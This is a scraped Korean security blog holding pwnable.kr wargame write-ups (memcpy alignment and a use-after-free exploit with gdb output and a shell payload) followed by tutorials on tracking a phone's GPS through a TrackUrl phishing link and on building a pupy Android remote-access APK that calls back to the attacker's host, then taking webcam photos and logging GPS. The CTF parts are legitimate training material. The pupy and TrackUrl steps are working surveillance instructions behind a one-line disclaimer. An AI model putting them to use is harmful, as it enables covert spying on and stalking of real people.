specify the memcpy amount between 16 ~ 32 : 16

specify the memcpy amount between 32 ~ 64 : 32

specify the memcpy amount between 64 ~ 128 : 64

specify the memcpy amount between 128 ~ 256 : 128

specify the memcpy amount between 256 ~ 512 : 256

specify the memcpy amount between 512 ~ 1024 : 512

specify the memcpy amount between 1024 ~ 2048 : 1024

specify the memcpy amount between 2048 ~ 4096 : 2048

specify the memcpy amount between 4096 ~ 8192 : 4096

ok, lets run the experiment with your configuration

experiment 1 : memcpy with buffer size 8

ellapsed CPU cycles for slow_memcpy : 7395

dest: 0x804c410

ellapsed CPU cycles for fast_memcpy : 13332


experiment 2 : memcpy with buffer size 16

ellapsed CPU cycles for slow_memcpy : 458

dest: 0x804c420

ellapsed CPU cycles for fast_memcpy : 11844


experiment 3 : memcpy with buffer size 32

ellapsed CPU cycles for slow_memcpy : 450

dest: 0x804c438

ellapsed CPU cycles for fast_memcpy : 11569


experiment 4 : memcpy with buffer size 64

ellapsed CPU cycles for slow_memcpy : 756

dest: 0x804c460

ellapsed CPU cycles for fast_memcpy : 11336


experiment 5 : memcpy with buffer size 128

ellapsed CPU cycles for slow_memcpy : 1414

dest: 0x804c4a8


Program received signal SIGSEGV, Segmentation fault.

0x080487df in fast_memcpy ()



128에서 dest가 8이다. 주소를 16배수로 맞춰주기 위해서 이자리를 0으로 만들어 주어야 한다.
그러면 64에서 64 + 8 = 72를 대신 넣어준다면 8바이트가 더 들어가서 128에서의 dest의 주소에 8바이트를 채워준다.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mandu/memcpy 
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy?        -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data         -
- 3. conclude your experiment and submit report     -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 8
specify the memcpy amount between 16 ~ 32 : 16
specify the memcpy amount between 32 ~ 64 : 32
specify the memcpy amount between 64 ~ 128 : 72
specify the memcpy amount between 128 ~ 256 : 136
specify the memcpy amount between 256 ~ 512 : 264
specify the memcpy amount between 512 ~ 1024 : 520
specify the memcpy amount between 1024 ~ 2048 : 1032
specify the memcpy amount between 2048 ~ 4096 : 2056
specify the memcpy amount between 4096 ~ 8192 : 4104
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 8
ellapsed CPU cycles for slow_memcpy : 15456
dest: 0x804c410
ellapsed CPU cycles for fast_memcpy : 27273

experiment 2 : memcpy with buffer size 16
ellapsed CPU cycles for slow_memcpy : 988
dest: 0x804c420
ellapsed CPU cycles for fast_memcpy : 24212

experiment 3 : memcpy with buffer size 32
ellapsed CPU cycles for slow_memcpy : 984
dest: 0x804c438
ellapsed CPU cycles for fast_memcpy : 24454

experiment 4 : memcpy with buffer size 72
ellapsed CPU cycles for slow_memcpy : 1771
dest: 0x804c460
ellapsed CPU cycles for fast_memcpy : 24587

experiment 5 : memcpy with buffer size 136
ellapsed CPU cycles for slow_memcpy : 3138
dest: 0x804c4b0
ellapsed CPU cycles for fast_memcpy : 24393

experiment 6 : memcpy with buffer size 264
ellapsed CPU cycles for slow_memcpy : 5695
dest: 0x804c540
ellapsed CPU cycles for fast_memcpy : 24293

experiment 7 : memcpy with buffer size 520
ellapsed CPU cycles for slow_memcpy : 10584
dest: 0x804c650
ellapsed CPU cycles for fast_memcpy : 24148

experiment 8 : memcpy with buffer size 1032
ellapsed CPU cycles for slow_memcpy : 20812
dest: 0x804c860
ellapsed CPU cycles for fast_memcpy : 24511

experiment 9 : memcpy with buffer size 2056
ellapsed CPU cycles for slow_memcpy : 41402
dest: 0x804cc70
ellapsed CPU cycles for fast_memcpy : 25854

experiment 10 : memcpy with buffer size 4104
ellapsed CPU cycles for slow_memcpy : 96522
dest: 0x804d480
ellapsed CPU cycles for fast_memcpy : 28278

thanks for helping my experiment!
flag : ----- erased in this source code -----
[Inferior 1 (process 6102) exited normally]


성공이다.
문제서버에서 다시 풀었다.

thanks for helping my experiment!
flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt


FLAG : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
반응형

uaf - 8 pt

Mommy, what is Use After Free bug?


ssh uaf@pwnable.kr -p2222 (pw:guest)



uaf@ubuntu:~$ ls -l

total 24

-rw-r----- 1 root uaf_pwn    22 Sep 25  2015 flag

-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25  2015 uaf

-rw-r--r-- 1 root root     1431 Sep 25  2015 uaf.cpp

uaf@ubuntu:~$ cat uaf.cpp



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
 
class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
 
class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};
 
class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};
 
int main(int argc, char* argv[]){
    Human* m = new Man("Jack"25);
    Human* w = new Woman("Jill"21);
 
    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
 
        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }
 
    return 0;    
}
 
cs



UAF 문제다.

Use After Free 취약점은 heap 영역에서 일어난다.

메모리에서 heap 영역은 데이터 영역이나 스택 영역에서 관리하는 형태와는 다른형태의 데이터를 다룬다.

바로 동적할당이다. 컴파일 할 시에는 데이터의 크기를 모르다가 프로그램이 실행되었을 때 크기가 정해지는 경우다.


UAF는 메모리를 malloc 해주었다가 free해주고 다시 malloc한 경우를 말한다.

malloc - free - malloc




일단 프로그램 코드를 살펴보자


main 함수를 보면, 먼저 m, w 객체가 초기화 된다.


그다음 

1을 입력하면 각 객체의 introduce() 함수가 호출된다.


2를 입력하면 char 객체를 생성한다.


3을 입력하면 m, w 객체가 free 된다.




이를 보면, UAF의 조건을 충족함을 알 수 있다.


초기화된 m, w 객체를 3을 입력하여 free 해주고, 다시 2를 입력하여 같은 크기로 새로운 객체를 생성해주면 free된 m, w 자리에 초기화 되면서 취약점이 발생한다. m, w객체의 introduce() 함수주소가 담긴 주소를 알아내어 쉘을 실행해주는 give_shell() 함수주소로 덮어주면 쉘을 딸 수 있을 것이다.




주소들을 구하기 위해 분기마다 브레이크 포인트를 걸었다.


   0x0000000000400fad <+233>: call   0x400dd0 <_ZNSirsERj@plt>

   0x0000000000400fb2 <+238>: mov    eax,DWORD PTR [rbp-0x18]

   0x0000000000400fb5 <+241>: cmp    eax,0x2

   0x0000000000400fb8 <+244>: je     0x401000 <main+316>

   0x0000000000400fba <+246>: cmp    eax,0x3

   0x0000000000400fbd <+249>: je     0x401076 <main+434>

   0x0000000000400fc3 <+255>: cmp    eax,0x1

   0x0000000000400fc6 <+258>: je     0x400fcd <main+265>

---Type <return> to continue, or q <return> to quit---q

Quit

(gdb) b *main+316

Breakpoint 1 at 0x401000

(gdb) b *main+434

Breakpoint 2 at 0x401076

(gdb) b *main+265

Breakpoint 3 at 0x400fcd



그리고 introduce()함수 주소를 구하기 위해 실행해서 1을 입력했다.



(gdb) r

Starting program: /home/uaf/uaf 

1. use

2. after

3. free

1


Breakpoint 3, 0x0000000000400fcd in main ()


=> 0x0000000000400fcd <+265>: mov    rax,QWORD PTR [rbp-0x38]

   0x0000000000400fd1 <+269>: mov    rax,QWORD PTR [rax]

   0x0000000000400fd4 <+272>: add    rax,0x8

   0x0000000000400fd8 <+276>: mov    rdx,QWORD PTR [rax]

   0x0000000000400fdb <+279>: mov    rax,QWORD PTR [rbp-0x38]

   0x0000000000400fdf <+283>: mov    rdi,rax

   0x0000000000400fe2 <+286>: call   rdx

   0x0000000000400fe4 <+288>: mov    rax,QWORD PTR [rbp-0x30]

   0x0000000000400fe8 <+292>: mov    rax,QWORD PTR [rax]

   0x0000000000400feb <+295>: add    rax,0x8

   0x0000000000400fef <+299>: mov    rdx,QWORD PTR [rax]

   0x0000000000400ff2 <+302>: mov    rax,QWORD PTR [rbp-0x30]

   0x0000000000400ff6 <+306>: mov    rdi,rax

   0x0000000000400ff9 <+309>: call   rdx

   0x0000000000400ffb <+311>: jmp    0x4010a9 <main+485>



call rdx를 보면, rdx에 introduce()함수 주소가 담겼음을 알 수 있다.


이전에, rax에 8을 더하기 직전에 브레이크를 걸어 rax의 값을 확인하였습니다.

set print asm-demangle on 을 해주면 글자가 깨지지 않습니다.



(gdb) b *main+272

Breakpoint 5 at 0x400fd4

(gdb) c

Continuing.


Breakpoint 5, 0x0000000000400fd4 in main ()

(gdb) x/x $rax

0x401570 <vtable for Man+16>: 0x0040117a

(gdb) x/i 0x40117a

   0x40117a <Human::give_shell()>: push   rbp

(gdb) 

   0x40117b <Human::give_shell()+1>: mov    rbp,rsp

(gdb) 

   0x40117e <Human::give_shell()+4>: sub    rsp,0x10


rax값이 give_shell()의 주소를 가리킴을 알 수 있습니다.



(gdb) b *main+276

Breakpoint 6 at 0x400fd8

(gdb) c

Continuing.


Breakpoint 6, 0x0000000000400fd8 in main ()

(gdb) x/x $rax

0x401578 <vtable for Man+24>: 0x004012d2

(gdb) x/i 0x4012d2

   0x4012d2 <Man::introduce()>: push   rbp

(gdb) 

   0x4012d3 <Man::introduce()+1>: mov    rbp,rsp

(gdb) 

   0x4012d6 <Man::introduce()+4>: sub    rsp,0x10

(gdb) 

   0x4012da <Man::introduce()+8>: mov    QWORD PTR [rbp-0x8],rdi



그 다음 rax + 8 의 값은 introduce()의 주소를 가지고 있음을 알 수 있습니다.


정리하면

0x401570 이 가리키는 것은 0x40117a로 give_shell()함수

0x401578 (0x401570 + 8) 이 가리키는 것은 0x4012d2로 introduce()함수 이다.


그렇다면 0x401570 대신 0x401568이 들어간다면 0x401568에 8이 더해져 0x401570이 되고, give_shell()함수가 실행될 것이다.



exploit :


uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00"' > /tmp/mandu/ex

uaf@ubuntu:~$ ./uaf 4 /tmp/mandu/ex

1. use

2. after

3. free

3


1. use

2. after

3. free

2


your data is allocated

1. use

2. after

3. free

2


your data is allocated

1. use

2. after

3. free

1


$ ls

flag  uaf  uaf.cpp

$ cat flag

yay_f1ag_aft3r_pwning



FLAG : yay_f1ag_aft3r_pwning

반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


Trackurl로 스마트폰 위치추적하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰 (gps되는 스마트폰이면 다 됩니다.)

- kali linux




1. trackurl을 다운로드 받습니다.


https://github.com/zanyarjamal/TrackUrl




git clone https://github.com/zanyarjamal/TrackUrl







2. Trackurl 폴더로 이동하여 Trackurl.sh파일의 내용을 약간 변경햐줍니다.


gedit Trackurl.sh





xterm -e ./ngrok http 80 & clear 를


gnome-terminal -e "./ngrok http 80" 으로 변경해 주었습니다.


이 외에도 이미지 경로를 수정하여 자신이 원하는 이미지로 변경해줄 수 있습니다.





3. Trackurl.sh를 실행합니다.


./Trackurl.sh


새로운 터미널 창이 하나 뜨게 되고 url이 표시됩니다.

https://로 시작하는 url을 원래 터미널 창에 입력해줍니다.






4. 스마트폰으로 해당 url에 접속합니다.

그러면 터미널에 로그가 남습니다.




빨간색으로 표시된 부분(일부 가렸습니다.)이 gps값입니다. 해당 값을 구글지도에 검색하면 해당 위치가 표시됨을 알 수 있습니다.




반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


pupy로 안드로이드 해킹하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- kali linux


 


1. pupy를 다운로드 받고 설치합니다.

https://github.com/n1nj4sec/pupy



다음 명령어를 순서대로 입력했습니다.


git clone https://github.com/n1nj4sec/pupy.git pupy


cd pupy


git submodule init


git submodule update


pip install -r pupy/requirements.txt


wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz


tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates 







정상적으로 설치됨을 확인합니다.




2. pupysh를 실행해봅니다.


python pupysh.py





패스워드를 입력하는 부분에서는 칼리리눅스 계정 패스워드를 입력하면 됩니다.


정상적으로 서버가 동작함을 확인하고 exit명령어로 서버를 종료했습니다.

 


3. 이제 악성코드를 만들어봅시다.

 

악성코드는 pupygen.py로 만들 수 있습니다.


python pupygen.py -O android -o mandu.apk connect --host 192.168.0.7 --transport ssl


(저는 mandu.apk라는 이름으로 생성하였습니다.)


옵션 설명

-O 해킹할 운영체제

-o 출력할 파일명


connect

--host 칼리리눅스(공격자의 컴퓨터)의 아이피 (ifconfig 명령어로 자신의 아이피를 확인할 수 있습니다.)

--transport ssl (pupy.conf.default에 작성된 내용 그대로 입력하면 됩니다. ssl으로 기본설정 되어있습니다.)




4. 만들어진 악성코드 파일을 안드로이드 기기가 다운받을 수 있도록 아파치 서버에 업로드 하였습니다.



파일에 권한을 부여하고, 아파치 서버를 가동하였습니다.


mv mandu.apk /var/www/html/ #파일 이동


chmod 777 /var/www/html/mandu.apk #권한 부여


service apache2 start #아파치 서버 시작

 



5. 안드로이드 기기에서 해당 파일을 다운로드 받습니다.


http://192.168.0.7/mandu.apk

 

그리고 설치합니다.




6. 칼리리눅스 (공격자의 컴퓨터)에서 서버를 실행합니다.


python pupysh.py

 

서버가 대기상태가 됩니다.



7. 안드로이드 기기에서 해당 어플을 실행합니다.

안드로이드 기기에서는 와이파이 설정 화면으로 이동하게 됩니다.

10초후 공격자 컴퓨터의 pupysh.py에서는 하나의 세션이 잡히게 됩니다.




8. list_modules 라는 명령어를 통해 pupy에서 사용할 수 있는 모듈을 목록을 확인할 수 있습니다.

 

run gather/webcamsnap 명령어를 통해 카메라로 사진을 찍어 볼 수 있습니다

 

run gather/gpstracker --start 명령어를 통해 해당 기기의 gps값을 트래킹하고,(15초 마다 gps값을 가져옵니다.)

run gather/gpstracker --dump 명령어를 통해 가져온 gps값을 확인할 수 있습니다. (파일이 저장됩니다.)

얻은 gps값을 구글지도에 검색하면 실제 기기의 위치정보를 확인할 수 있습니다. 매우 정확합니다.

 

이 외에도 pupy는 다양하고 많은 모듈을 지원하므로 다른 정보들도 가져오는 것이 가능함을 알 수 있습니다.

반응형
반응형

마감되었습니다.





티스토리 초대장 10장을 배포합니다.

# 등록일 : 18.05.25 20:26


#23:10 7장남았습니다.

#00:17 5장남았습니다.

#17:36 5장남았습니다.

#18:40 3장남았습니다.

#21:02 3장남았습니다.

#22:15 2장남았습니다.




신청 양식:

0. 블로그 운영 목적

1. 공감버튼 눌러주세요

2. 추가로 하실 말

3. 이메일 주소

4. "신청합니다." 라고 작성




*선착순이 아닙니다.

*양식을 지키지 않을 경우 제외.

반응형

+ Recent posts